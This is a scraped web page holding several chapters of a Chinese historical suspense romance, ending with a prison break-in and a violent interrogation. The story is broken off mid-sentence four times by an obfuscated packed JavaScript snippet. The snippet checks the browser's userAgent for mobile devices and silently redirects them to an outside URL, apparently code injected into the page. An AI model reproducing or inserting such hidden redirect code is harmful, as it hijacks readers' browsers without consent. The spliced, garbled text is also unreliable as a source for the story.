d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831669|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢鹤明瞬间清醒，也退后一步。 二人相顾无言。 这时，顾绍之从外走来，他察觉到微妙的气氛，目光在二人之间打转，而后朝晏宁笑道：“此事已经解决，我派人带姑娘前去查阅户籍。” 晏宁屈膝颔首，“多谢大人。” 等她离去后，顾绍之才道：“这该不会就是你一直不肯议亲的原因吧？” 谢鹤明过继到主母名下后，想同他议亲的女子只多不少，何况京都与定襄不同，多的是高门大户里的贵女，或是皇亲国戚，或是王公贵胄，皆倾心于他。 除了谢氏一门正得盛宠外，还因他长相俊俏，前途不可限量。 其实他早些年便考过了乡试，得了解元，只是不知为何没有参加春闱。 无论多少媒人上谢家说亲，他只道暂时无意娶亲，谢氏主母竟也随他去，不曾多加干涉他的亲事。 原先顾绍之还想，莫不是他对女子不感兴趣吧？ 可今日一见他对晏宁的态度，便有几分了然了。 怕是心里藏着个求而不得的姑娘，以致他看谁都差了那么点意思。 “我看这姑娘挺聪明的，就是看着有些弱不禁风……” “弱不禁风？”谢鹤明扯了扯唇，“你该去看看眼睛。” “？” 顾绍之跟在谢鹤明身后追问，“你说清楚，看眼睛是什么意思？” …… 晏宁跟着一个衙役来到一间屋子，里头有好几个架子，上头摆放的皆是文书一类，她并未细看，见衙役往最靠里边的架子走去，她也跟上去。 衙役指着一排书架道：“这里都是近两年户籍迁调的文书，你慢慢看吧。” 晏宁颔首，“有劳。” 她一本本翻阅起来，书册上方是记录着时间的。 她记得后来曾问过茶摊伙计，得知孟家是两年前举家搬迁。 两年前…… 她快速查找，一处不落。 终于，在某个地方看到熟悉的字眼。 ——孟家于天佑十五年举家搬迁至临清。 临清。 晏宁的手指从书册上的这两个字划过。 对于这个地方她并不陌生。 可以说是熟悉。 若是霍云清当真随着孟家搬到此地，或许她必须要走一趟了。 晏宁将书册放回原处，走到门外时，看见谢鹤明和顾绍之都站在那，她的目光只在谢鹤明身上停留一瞬便挪开了。 顾绍之见她出来，笑着问：“如何？姑娘可找到想要的答案了？” 晏宁颔首，“这便要启程了。” “一个女子孤身上路未免不安全。” 晏宁神色冷淡，也不接话。 果不其然，顾绍之接着道：“不若我让云隐护送你上路如何？” 没等晏宁拒绝，他又笑言：“好歹你也帮本官破了案子，这点忙还是要帮的。” 晏宁不说话，只是转动眼眸，视线又落回谢鹤明身上，给人一种她看穿了他们那点小心思的错觉。 “不敢劳烦谢公子。”晏宁还是拒绝。 “不麻烦不麻烦。”顾绍之卸下一身官服，变得不再严肃正经，反倒有几分跳脱，“反正也顺路，你们一起至少有个照应。” “……”谢鹤明一阵无言。 转头对上晏宁似笑非笑的神色，他竟徒生出一股不知所措的感觉，实在令人无法招架。 8. 临清 马车在路上行驶，晏宁看向谢鹤明，直至将他看得浑身不自在，才收回视线，淡道：“谢公子这又是顺路？” 语气多有讥讽之意。 谢鹤明懒洋洋地倚在车上，勾唇道：“七娘既已知道，又何必再问？” 从最初的想与他彻底划清界限，到如今处处皆可遇见他，像是中了什么魔咒，摆脱不掉曾经的宿命。 晏宁垂眸，主动说起，“我回定襄那日，你如何发现？” 这话她问过他，只是那时被元青的突然到来所打断，而谢鹤明看起来也像是不愿回答这个问题。 之后二人从未提起，更是对晏宁失踪的三年闭口不提，像是刻意避开。 虽说晏宁亦不愿想起过去之事，但谢鹤明的行为却让她生疑。 想到曾经种种，他们实在算不上熟络，因被撞破心底晦暗，晏宁对他可谓是毫无耐心。 除了有外人在时，尚且能挤出一丝笑，其余时候皆冷淡以对。 她以为谢家搬去了京都，二人不会相遇，谁能想她才回定襄第一日，谢鹤明便能及时出现在她面前。 这是巧合吗？ 晏宁看向他。 对于她的疑问，谢鹤明移开眼，淡淡说了句：“巧合。” 这话骗骗别人可还行。 晏宁倒不纠结，见他不肯说，便转头不语。 她要做的事还很多，没必要为了些不相干的人浪费精力。 天色渐渐暗下来，林中寒凉，周围无一户人家，唯有他们的马车在趁夜赶路。 外头元青的声音乍然响起，“公子，七姑娘，前方有间客栈，要下车歇息一晚吗？” 临清离庐阳甚远，即便日夜兼程也需要好些时日，晏宁还在犹豫，元青又道：“我们不吃也没什么，但马若不吃就跑不动了。” 闻言，晏宁只好应下。 等她松口，谢鹤明才朝外边喊道：“停车。” 这荒无人烟的地方能寻到一家客栈已是不易，自然不敢再嫌弃其他。 谢鹤明先下了车，而后朝晏宁伸出手。 对上他的目光，晏宁顿了一瞬，兀自走下车。 谢鹤明在她错身而过的瞬间，无声低笑，若无其事的收回手。 元青早就先去客栈打点，车夫也将马车拉走，晏宁和谢鹤明一前一后地往客栈走去。 随着他们离身后的树林愈来愈远，被密林遮住的月亮渐渐冒了头。 下弦月高挂树梢，竟成了这夜色里唯一的光亮。 谢鹤明偏头看向晏宁，他们的身影在月光下被拉长，他贴着她的影子前行。 自重逢以来，她总是一副淡淡的神色，像对所有的一切都提不起兴趣，唯有在找人一事上露出一两分动容之色。 可她身上的伤是怎么回事？ 那日晏宁率先入城，他也在城门外下车，走进去后本以为还要找寻一番，谁知正巧撞见她坐在茶摊里，与一群妇人交谈。 她脸上神色忽悲忽喜，又是轻蹙眉梢，又是低头抹泪，将一套楚楚可怜的姿态演到极致，却是不同于面对他时的鲜活模样。 谢鹤明攥紧手指，悄无声息地在她身后的椅子上落座。 伙计上前，刚要开口询问，他就拿出一枚银锭放在桌上，摆了摆手。 谁不喜欢这种一言不发就给钱的贵客。 伙计颇有眼力见，点头哈腰，麻溜地离开了。 谢鹤明的目光始终未从晏宁的身上移开半分，见对方抬手时露出的胳膊上有无数的旧伤，绝非一两日形成，这是常年积压，旧伤结痂，又添新伤，长此以往，那些伤疤无法彻底治愈，如烙印一般刻在她的身体上。 一瞬间，他瞳孔骤缩，脸色微变。 手中的茶杯险些端不稳了。 直到晏宁起身，去往县衙，去往裁缝铺，他都离她不远不近。 说是顺路，其实他是特意为她而来的。 客栈中逐渐亮起灯火，元青办事快，他走过来道：“公子，先去房中休息会儿，吃食已在准备了。” 谢鹤明望向晏宁。 而晏宁接过房牌，已往楼上走去。 “公子？”见谢鹤明还在盯着，元青忍不住出声喊他，再三犹豫，还是道：“你此次偷偷离京，若被老爷知道了，怕又是不得安宁。” 不知想到什么，元青欲言又止：“公子，你已将七姑娘等来，那……” 说实在话，他也不知公子用意。 三年前，晏宁身死，谢鹤明去晚了，问了霍府外的百姓，才得知发生的事情，他走到江边，江边石子分散的极不规律，像有人在此努力挣-扎过。 望着满地狼藉，与毫无波澜的江面，谢鹤明什么也没说，只是站着。 从白日站到夜晚。 元青找到他时，本想说些什么安慰几句。 谁知，谢鹤明突然转身，眼底再次出现神采，“她不会死。” 只有这四个字。 纵然往后的三年，晏宁并未出现，但他仍旧相信——她没死。 “我还有些疑虑未能解开。” 谢鹤明走到桌旁坐下，“待此间事了，我自会回去。” 元青低声提醒，“公子，你莫要忘了，还有郡主呢……” 提起这个，谢鹤明果然皱眉。 “公子，饭菜好了，您是在这用饭，还是……”掌柜的端着托盘走来。 谢鹤明道：“给我吧。” 他走上楼，走到晏宁的房门外轻轻敲了两声。 屋内，女子坐在铜镜前，她衣衫半解，露出大片肌肤，锁骨精致，线条流畅，美中不足的却是她肩上、背上的那些伤痕。 手指轻轻划过，镜中的女子面无表情的看着这些伤。 脑中又响起了那些哭喊声、尖叫声，伴随着利刃刺破皮肉的声音，喷涌出来的鲜血糊了满脸。 到处皆是死人。 门外声音骤响，晏宁顿了顿，重新将衣衫穿好。 隔了许久，她才将门打开。 “何事？” “给你送饭。” 晏宁垂下眼，伸手接过，“多谢。” 她另一只空着的手按在门边，正欲关门，却见谢鹤明依旧站着，疑惑道：“还有事？” “……没了。”说着往后退了一步。 门被关上，谢鹤明并未离开，他想到方才晏宁脸上的神色，不知为何心底隐隐流露出不安。 那是一种十分平静的目光，像石子落入江面，也不会掀起一丝涟漪。 黑谭寂静，无风无浪。 就像如今的晏宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831670|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，活得像一具尸体。 他按下心中异样，转身离开。 …… 翌日，谢鹤明下楼时，只见晏宁已坐上马车，双腿垂下，没有晃动，但衣裙却被风吹得飘荡，她的目光落在远方。 他顺着看去，透过重重密林，望见层峦叠嶂，高耸入云。 “这么早就起了？” 晏宁听到声音，收脚上车，“习惯了。” 撩开车帘入内。 “走吧。” 元青从客栈里买了些能过夜的吃食存着，以防万一。 连日奔波，途中未再遇上一家客栈商铺，连个茶摊也没有。 终于在粮食耗尽的最后一日里，他们赶到临清。 晏宁依旧在县城外下车，头也不回地往前走。 “公子，那我们呢？” 谢鹤明看了会儿，才道：“绕两圈再进去。” “啊？”元青嘟喃，“有这必要吗？” …… 与庐阳不同，临清看上去不算大，商铺虽多，但一家紧邻一家，显得无比拥挤。 百姓脸上鲜少露出笑容，眉宇间被一股忧虑所萦绕。 街边卖菜的阿婆与人争吵，脸色涨得通红，两人不肯退让，引得路人围观。 突然，远处传来一阵马蹄声，由远及近，只听一声昂长嘶鸣，烈马飞奔而来。 马鞍上坐着个十六七岁的少年，他手握缰绳，任由烈马奔驰，并未理会被他撞飞的百姓，反而径直越过他们的身体，一路横冲直撞。 晏宁原本站在路边，但见他手中鞭子狠狠扬了几下，将那些已在躲避的百姓抽倒在地，立刻往后退，退到铺子前。 有一瞬，她与少年的视线对上。 但不过须臾，少年就移开目光。 她远远望着，一群亲卫跟在身后，将街上倒地的百姓给踢到一旁，脚下不曾收力，仿佛嫌他们碍事。 晏宁睫毛微颤，只这片刻功夫，街上横七竖八躺着许多人，有男人有女人，有老人有孩子。 她见少年勒马回头，手中鞭子举起，嚣张又霸道地扫过那群人，“今日是给你们一个教训，他日本公子驯马，趁早躲远些，不然就这么死了，可太没意思。” 他扯着唇，调转马头，双腿狠狠一夹马腹，再次向远处奔去。 晏宁从里走出来，看到一旁的妇人紧紧搂住自己的孩子，哭诉道：“还有没有天理了！我们的命就不是命了吗！” “小点声！”她的丈夫面露惊骇，急道：“他一向作威作福，连他老子都管不了他，以后还是躲着点走吧。” 一个小公子却有如此大的本事，当地百姓不敢怒不敢言，甚至连说理的地方都没有。 看来此处有个大官，这公子还与那个官员关系匪浅。 她许久未回到这里，竟发生了如此大的改变。 晏宁往前走，打算先行离开此地。 “宁姐姐。” 糕点铺门口，有人喊住她，语气惊喜又意外。 晏宁回头，也是一怔，“蓉儿？” 在她面前站着的女子约莫十四五岁，头发编成辫子，垂在两侧，模样俏丽，虽未长开，却能预见来日容貌。 她忙跑过来，拉住晏宁双手，左看右看，“宁姐姐，真的是你！” 9. 设局 一座宅院里，十几个人围着晏宁不放，有的还是小小少年的模样，有的如姜蓉一般年岁，他们见到晏宁皆是喜不自胜，拽着她的衣袖吵嚷个不停。 姜蓉笑着将他们赶走，拉着晏宁到一旁坐下。 宅院并不大，能住人的屋舍也不多，多是孩子挤在一处将就着睡，小厨房就在院子左侧，木柴堆置在角落，灶台上摆满锅碗瓢盆，底下似乎还燃着火。 晏宁目光一转，屋顶是用茅草盖的，到了雨天必然漏雨，屋舍窗纸上有洞，处处破败萧条。 她记得自己离开前，并非此番情景。 “宁姐姐喝水。”姜蓉给她倒了杯水，笑道：“今日出门前，原本想着买点甜食，可没想到竟见到姐姐了，这不比任何吃食要甜。” 语气自然熟络，眉眼带笑，与分别前无异。 她绝口不提那些变故。 晏宁低头抿了口水，一时没说话。 “姐姐……怎么了？” 姜蓉看出她的不对劲，小心翼翼问。 宅院中的孩子都是被晏宁所救，并且收留，若没有她，便没有如今身体康健、能跑能跳的他们。 姜蓉微微出神，想起第一次见到晏宁时，她穿着一件粗布麻衣，衣摆处染上红渍，被洗得发皱，看上去像血迹。 那时她与妹妹逃难到临清，腹中饥饿，险些晕倒时，眼前出现了一双鞋。 她们太饿了，晏宁将食物放在面前时，更是顾不得其他，抓起就往嘴里塞。 吃饱喝足后，才拘谨起来，轻声道：“姐姐救了我们，今后若有需要我们的，定会报答。” 可晏宁只是淡淡说了句，“不必。” 她给了她们住所，后来又陆续带来几个同她们一样无家可归的孩子。 晏宁话不多，总能随时将食物和水准备好摆在桌上。 她不知她的来历，却相信她是天底下最好、最善良的人。 只是相处的那段时日，她能察觉到晏宁身上有股濒死的气息，很沉闷、很阴郁。 姜蓉不敢多问，直到晏宁离开。 此次相逢，她觉得眼前女子变了，又好像没变。 “为何不见阿九？”过了片刻，晏宁道。 阿九是姜蓉的妹妹，她们感情十分要好，可从她进来开始，却不见阿九。 姜蓉睫毛微颤，轻声道：“阿九……前些年去到江边，不慎溺水……” 喉头哽了哽，说出这些话已用尽全部力气，她再无法说下去。 晏宁也是没想到，神色一怔。 “找到尸首了吗？” 姜蓉放下手，微微攥紧，垂头不语。 院中孩子们的欢闹声在耳畔响起，印象中她的妹妹也是这般，天真烂漫，即便是在逃难的路上，她也能省吃俭用，留下更多的食物分给她。 可笑她一直以为是有多余的食物，却不曾想是阿九将自己的那份留着，留到下一次给她。 她那么懂事…… 半晌，姜蓉道：“找到了。” 她一字一句道。 像是怕她继续问下去，姜蓉转而问道：“姐姐此次回来是有重要之事吗？” 晏宁颔首，看她一眼，直接问：“城中最大的官员是谁？” 姜蓉一愣，“是节度使沈岱。”对于晏宁，她向来有问必答，不问其缘由。 “他可有儿子？” 此话一出，姜蓉放在桌上的手抖了一下，死死抠着桌面。 她面色不自然，垂落的长睫掩去她眼底的异样，像是心中所藏之事不愿叫人发现。 晏宁见她不说话，默不作声地打量她。 “是。”姜蓉低声道：“他有个儿子，叫沈章越。”这个名字从她口中说出，仿佛触及到不为人知的心事，令她浑身紧绷，唇瓣紧抿。 说着，似是意识到什么，慌忙抬头，“宁姐姐，你遇到他了？那、那你……”她站起身，迅速围着晏宁转两圈，见她并无受伤，这才安心落座，“他没伤你吧？” “放心。”晏宁道：“只是在街上偶然碰到。” 姜蓉刚松口气，只听晏宁再次开口，语声空幽，“他在驯马，伤了众多百姓。” 闻言，姜蓉倒没多大反应，应是习以为常，“沈章越此人，嚣张跋扈，仗着他爹是节度使，做了许多欺男霸女、鱼肉乡里之事。” 顿了顿，她声音又低下去，“人命在他眼中不值一提。” “看到了，畜生伤人，果真是物以类聚。” 她这一句‘畜生’不知骂的是那马，还是某个人。 姜蓉心情平复下来，“姐姐，你今后可要小心点，他那人什么都做得出来！” 晏宁沉默片刻，手指摸着杯口，像在思考，良久后才道：“蓉儿，你很了解他？” 姜蓉避开眼，看向门外，“自然，这城中谁不了解。” 离开许久，应是发生了一些她不知道的变故。晏宁心细，观她神色便知此事还不小。 但她不愿说，即便她逼问，怕也是得到几句搪塞罢了。 “蓉儿。”眼下她亦有更重要之事，“我此次回来是想打听一人。” 姜蓉回神，“姐姐你说。” “你可听说过孟家？” “哪个孟家？” 晏宁开口道：“我只知是个大户人家，孟家公子似乎叫孟昌。” 姜蓉神色一顿，表情很是怪异，“知道是知道，不过怕是来晚了。” “为何？” “他犯了事，被人抓了。” 晏宁道：“何人所为？” 树叶簌簌落下，落进宅院，地上已堆积不少叶子。 姜蓉注视着晏宁，缓缓开口：“节度使。” …… 兜兜转转，又绕到此人身上。 从沈章越的性子不难看出他父亲是个怎样的人，别说要人了，只怕她敢出现在节度使府门外，就要被不问缘由地抓入狱中。 原本想着她此行只为找人，不必横生枝节，却没想到第一步便受到阻碍。 那种人一旦招惹，便轻易不得脱困，她需想个万全之策。 不过好在有了线索，孟昌也确在此地。 夜已落幕，呼啸的风吹在身上带了几分凉意。 晏宁坐在屋前石阶上，盯着脚边的石子，轻轻挪动脚尖，石子就被踢远了。 “宁姐姐。”姜蓉走到她身旁坐下，抬头望月，“你在想什么？” “我在想……明日吃什么？” 姜蓉忍不住笑了，“姐姐何时也开始关心起这些事了？” 晏宁抿唇，“随便想想。” “对了，你知道孟昌，那你可知他的夫人？” “夫人？”姜蓉想了想，摇头，“我从未听说过他有什么夫人，妾室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831671|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒有不少。” 没有夫人…… 那霍云清去哪儿了？ 晏宁握拳，指尖陷进掌心，按耐住心底的浮躁。 “你可知孟昌被关在何处？” 若是县衙，倒还有几分把握，但若是节度使府上…… 但事事往往不如她所意，“沈岱府上。” 手指一松，心头却更加郁闷了。 “夜深了，回去睡吧。” 姜蓉点头，起身后却见晏宁并无入屋的打算，她疑惑问：“宁姐姐，你不睡吗？” “我还有事出去一趟。” 晏宁办事自有原因，即便是从前，她也常常消失无踪，几日后又突然出现，她也从不会过问。 闻言，姜蓉道：“那你小心。” 晏宁已走到门口，不知听没听到这句话，微微侧头，身影渐渐模糊起来，她站在暗处，而姜蓉立在屋中，同样身处黑暗，月色照不到她们身上，咫尺的距离，却又始终无法跨越。 临清的深夜更是安静，家家户户大门紧闭，没有一人敢在外逗留。 树上叶子枯黄，成片成片地掉落。 晏宁盯着脚下的影子，走到一处后，突然驻足。 她没回头，四下无人，像在喃喃自语，“你既顺路来了，不妨再顺路做件事吧？” 身后树影婆娑，微微晃动。 墙上的影子多了一个。 “你怎知我在？”含笑的语声让这夜里多了些暖意。 “不是顺路吗？”晏宁慢慢转身，盯着身前男子，“我猜，这里也是公子的路。” 这话说得有些暧昧了。 夜色幽幽，清风拂过，女子的发带随风而飘，寂寥的长夜变得朦胧起来。 二人目光相撞，谁也没落下风。 “你要我做什么？” 听到这句话，晏宁莞尔，暗淡的月光下，如嫩芽初生，含苞待放，谢鹤明瞧得真切，心头为之动荡。 翌日天光大亮，晏宁用完朝食，就出了门。 她没走几步，身后有人追过来。 “宁姐姐，这个给你。”姜蓉摊开手，手心赫然躺着一个荷包，荷包针脚平整细密，可见绣工，“这里面放着我去寺里求来的平安符。”她笑道：“愿姐姐此后一帆风顺，逢凶化吉。” 晏宁接过，还不等她说什么，姜蓉便转身走了。 她又在原地站了会儿，才往节度府走去，隔着一段距离，她正巧撞见谢鹤明被人恭恭敬敬地邀进去。 在入府前一瞬，那双眼眸朝此处望来，晏宁迅速侧身往后巷中走去。 “七姑娘。”元青朝她行礼，将一个包裹递给她，“公子说你要的东西都在里面。” 晏宁伸手接过，翘起唇角，“替我谢谢你家公子。” 不知是不是元青的错觉，他觉得七姑娘说话的语气很怪。 但公子交代的事还没办完，他又道：“七姑娘随我来。” 他将晏宁带到巷子中一处荒僻的角落，这里杂草丛生，足足有一面墙那么高，他伸手拨开草垛，露出里面的一个洞。 晏宁嘴角抽动两下。 “这就是他说的办法？”仔细听，还有一丝咬牙切齿的味道，“……狗洞？” 元青讪讪笑了两声，“七姑娘见谅。” 再看一眼这个洞，晏宁扯了扯唇角，“我会好好感谢他的。” 10. 节度使 节度使府邸很大，装潢气派，院中栽种了许多树，鹅卵石铺就的地面弯弯绕绕，连着前廊，一条小路走过去，又分了好几条岔路，若是不辨方向的人定然容易走错。 晏宁走到一棵树后，解开包袱，看见里边放着一张舆图，大致描绘了宅院的地形，她低下头认真看了看，找到一个被圈起来的地方，一旁写着‘刑房’二字。 显然这就是关押犯人之处。 她拿出预先准备好的亲卫衣服换上，垂头看了眼，包袱里还有一张令牌。 约莫手掌大小，边缘雕刻精致。 看来这就是能进入刑房的令牌了。 也不知是谁的东西。 不再多想，她将令牌收入怀中，将剩余的东西埋在树下，双手抓了一把泥土往脸上抹，而后走了出去。 方才粗略的看一样，她就记住了大致的方位。 往右边走，经过一处凉亭，里面站着一个女子，发饰精美，珠光宝气，她看到晏宁，神情颇为傲慢，仰着下巴，指着她道：“你，去给我将公子找回来。” 周围婢子瞬间煞白脸色，看向晏宁的目光透着怜悯。 谁都知道沈章越喜怒无常，一旦有不顺心的便拿下人发泄，即便是被打死了，也只能说是自己的命不好。 没人想领这份差事。 晏宁心中暗骂一句，低声应了，转身往另一方向走去。 原本这是最近的路，可现在迫于无奈要绕个方向，这还不是最麻烦！ 她看到前方有一众亲卫巡逻过来，镇定地走过去，亲卫里为首的那人多看了她两眼，接着移开眼，并未发现异常。 晏宁走了一段路后，远处乍然出现两个身影，其中一个无比熟悉——是谢鹤明。 这就是麻烦的地方。 方才她走的是沈府后院，是女眷住处，亲卫鲜少会进去巡视，若她能顺利通过，那一切都相安无事。 她停下脚步，闭了闭眼，只能赌一次了。 身侧又一亲卫队擦身而过，她抬脚跟上去，站在最后一个，试图与他们融为一队，但也有几分格格不入。 每一步都在赌，只盼那个节度使的注意不要落在此处。 经过那个亭子时，她状若无意瞥了眼，正巧与谢鹤明的视线对上，那双含笑的眼依旧泰然，脸上也看不出丝毫异样，他平静的仿佛在自家后院里闲逛。 晏宁收回目光，不知想到了什么，眸光一动。 庭院在渐渐远离，她找了个机会离开亲卫队，按着记忆中的方位走下去。 刑房处在一个偏僻的院子里，与前头的喧闹隔绝，除了守卫，无人会踏足此地。 晏宁见远处被看护的密不透风，投机取巧显然无用，她将怀中令牌取出，握在手中。 这处院子许久未曾打理，两边杂草丛生，墙角长满青苔。 她径直走过去，守卫见到她，当即拦住，“干什么的！不知道这里不能来？” 晏宁举起令牌，冷声道：“奉老爷的命令，提审孟昌，还不让开！” 守卫听她提起沈岱，瞬间脸色就变了，犹豫一瞬，迟疑道：“这孟昌有什么好审的？把令牌拿来我看看。” 晏宁脸色沉下来，“老爷审人还需同你们解释？谁给你的胆子！”说着，又将令牌随意丢到他怀里，一字一顿道：“那就看仔细了。” 她语气压低，冷冰冰的口吻当真骇人，再者，沈岱的令牌从不离身，能给眼前这个亲卫，定然是重要之事。 他深知沈岱的脾气不好，不敢多想，粗略扫两眼，的确不是假的，随即恭恭敬敬地递过去，“小的这就带您进去。” 晏宁冷冷“嗯”了声，跟在他身后。 铁门打开时沉重的声音听得人心头烦闷。 刑房里燃着火烛，仅能照亮脚下的路，空气中弥漫着血腥味，四面阴暗潮湿。 长阶湿滑，晏宁走得小心。 靠近外边的犯人，见终于来了人，都大声囔囔冤枉，还有的更是口出秽言，辱骂不休。 晏宁边走边记下路线，以防突发状况。 在经过一个拐角时，她目光一掠，瞥见一个被绑在石架上的女子，四周浸满水，她半个身躯沉在水里，头低低地，像失去了意识，露出外面的肌肤满是伤痕，鲜血滴在水里，洇红了一大片。 守卫回头，见晏宁没跟上来，走过去问：“大人，怎么了？” 节度府上层次分明，爬得越高干得便是贴身护卫之事，而像他们这种没什么能力的，只能派来守刑房。 叫声“大人”倒也不错。 晏宁抬了抬下巴，“那人是谁？因何被关在此地？” 守卫顺着她的目光看过去，“她啊，不知怎的得罪了公子，关了有两日了，那嘴就是撬不开。” 他的语气平淡，应是对这种事见怪不怪了，沈章越风流浪荡，强撸良家女子也不是一次两次。 “一会儿把她一起给我带上。” “啊？”守卫犹豫，“若是被公子知道了，我就完了……” “你傻啊。”晏宁凑过去，嗤笑道：“若我能撬开他的嘴，在公子那不是大功一件吗？”她拍拍守卫的肩，蛊惑道：“到时还能少得了你的好处？” 守卫眼睛一亮，被她这话说的心痒难耐，也没多纠结，满口应下，还奉承了几句，“那就有劳大人了。” “好说好说。”晏宁笑眯眯地看着他。 二人走到最里边，一间上锁的牢房里躺着一个人，他翘着腿，手里不知拿着什么在空气中比划，嘴里哼着难听的曲子，姿态十分闲适。 守卫向她赔笑了声，随后走过去重重拍了两下房门，“干什么呢！你以为是你家后院啊？老爷要审你，出来！” 那个男人一愣，扭头看过来，“谁要审我？” 守卫不跟他废话，直接进去将他绑了出来。 “大人，这人就交给你了。” 晏宁点头，“还有……” 她没说完，守卫十分上道，“明白明白，这就去给你带来。” 等人走后，晏宁和男人大眼瞪小眼，良久，她缓缓开口，“你就是孟昌？” “你说老爷要审我？”孟昌眯起眼打量她，随即摇头，“不对，你不是老爷派来的人！” 他语气信誓旦旦，像是笃定了沈岱不会找他，结合他方才悠哉悠哉的模样……晏宁若有所思。 远远听见脚步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831672|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声，孟昌似乎确认她身份存疑，正要开口喊人，突然脖颈一痛，他不可置信地瞪大眼。 “要想活命，最好乖乖听话。” 孟昌还在踌躇，显然是想赌一把，但晏宁没给他这个机会，微微退后一步，站在他身后侧，手中握着一根银簪，细小到被她的掌心所包裹，在旁人看来也只觉得她是按在他的肩膀上。 银簪又往里送了一分，刺破皮肤的剧痛让孟昌险些喊出声来，晏宁低声道：“你猜是他来得快，还是我的手快？” “我既然敢来，就做好全身而退的准备，你、敢拿命来赌吗？” 一句接着一句，孟昌紧紧闭上嘴，额间不停冒汗，一声不敢吭，生怕身后的活阎王一个不高兴就要了他的小命。 对于一个惜命的人来说，他不敢赌。 晏宁在那一瞬间就想明白了。 孟昌为何能确定她不是沈岱派来的人？或许他确定的是沈岱不会审他，因为他本身没有犯错。 他在牢中无比放松，全然没有一丝担忧与害怕，更像是将此地当成他的护身符，被抓怕也只是个幌子。 “大人，人带来了。”守卫没看出眼前的暗流涌动，忙不迭将人拖过来。 那女子浑身是伤，已无力行走，脚踝处被磨得鲜血淋漓。 晏宁空着的手抓住她胳膊，轻轻松松拎起来，皱眉看了她一眼——太瘦了。 这一动，银簪在孟昌脖子上搅了一下，令他痛得喊出声。 守卫看向他。 他下意识张口就想说些什么，晏宁同样扭头，定定地盯着他，“我捏疼你了？” 像是在说，不够疼？那继续？ 他到嘴的话又憋了回去，动也不敢动，“不疼不疼。” 守卫摸不着头脑，只想着赶紧把人送出去，好向公子立功。 走出牢房后，晏宁两手拎着人，七拐八绕，走到一处陌生的院子，四周寂静，无声无息，前面被密林遮挡，看上去十分隐蔽。 她在舆图上看到过此处，是处荒废的院子。 女子被她随意丢在一旁，握着银簪的手抽出的同时，一脚踢在孟昌的膝弯上，没给他丝毫反应的时间。 孟昌腿一软，跪在地上，痛得龇牙咧嘴。 晏宁又踹了他一下，将他踹翻，蹲下身，面无表情道：“我问，你答。” “凭什……” 他一抬头，晏宁手中的银簪再次举起，尖端还染着血，像一件杀人利器，他话音一滞，磕磕绊绊道：“你要……问什么？” “霍云清在哪？” 晏宁没什么耐心，单刀直入。 听到这三个字，孟昌脸色微微一变，眼神闪躲，“我不认识……啊！” 话音未落，晏宁用脚给他踢翻过去，脸朝下，握着银簪插入他的腰窝处，一只手狠狠按在他脑后，将他整张脸按到草坪上，堵住他脱口而出的喊叫。 银簪刺入腰窝，却没急着抽出，晏宁动了动手腕，在他腰间一阵搅动。 钻心的疼浸入骨子，孟昌浑身都在抽搐，脸涨成猪肝色，脖颈上青筋暴起，偏偏被按在地上动弹不得，晏宁神色漠然，猛地抽出，正欲再刺，他语调微弱，“我说……” 11. 逼问 晏宁的手松了点，孟昌得了空隙立马侧过头，不停地喘息，他缓了几下，又像好了伤疤忘了疼，小心地同她打着商量，“我说了，你能放了我吗？” 对他来说，没什么东西比命重要。 晏宁没说话，只冷冷地盯着他。 躺在一旁的女子发出一声细碎的动静，瞧着似悠悠转醒，她眼皮颤动，缓缓睁眼，待看清眼前情形，她怔住了。 一个侍卫脚踩在男人腿上，手中还握着不知名的东西，指尖隐隐被鲜血染红，她脑袋还浑浑噩噩，身上到处都疼，一动就疼，但她还是慢慢往后挪，直至后背贴着墙，就这几步弄得她好一阵喘息，“你们……是谁？” 晏宁没理会她，仍看着孟昌。 女子看不清孟昌的脸，只觉得侍卫表情很冷，像身处极寒冰窟，她忍不住发起抖来，身上的伤令她陡然惊醒。 视线环绕四周，这不是牢房。 女子并没放下戒备，独自缩在一处，伸手摸了摸脸上的伤痕，疼得她倒吸一口冷气。 晏宁瞥她一眼，却久久没听到开口，脚下使力，隐约能听到“嘎达”一声，孟昌浑身不自觉颤动，喊叫声再次被她堵住。 一旁的女子被这举动弄得也是一颤。 “要知道，你的命在我手上。” 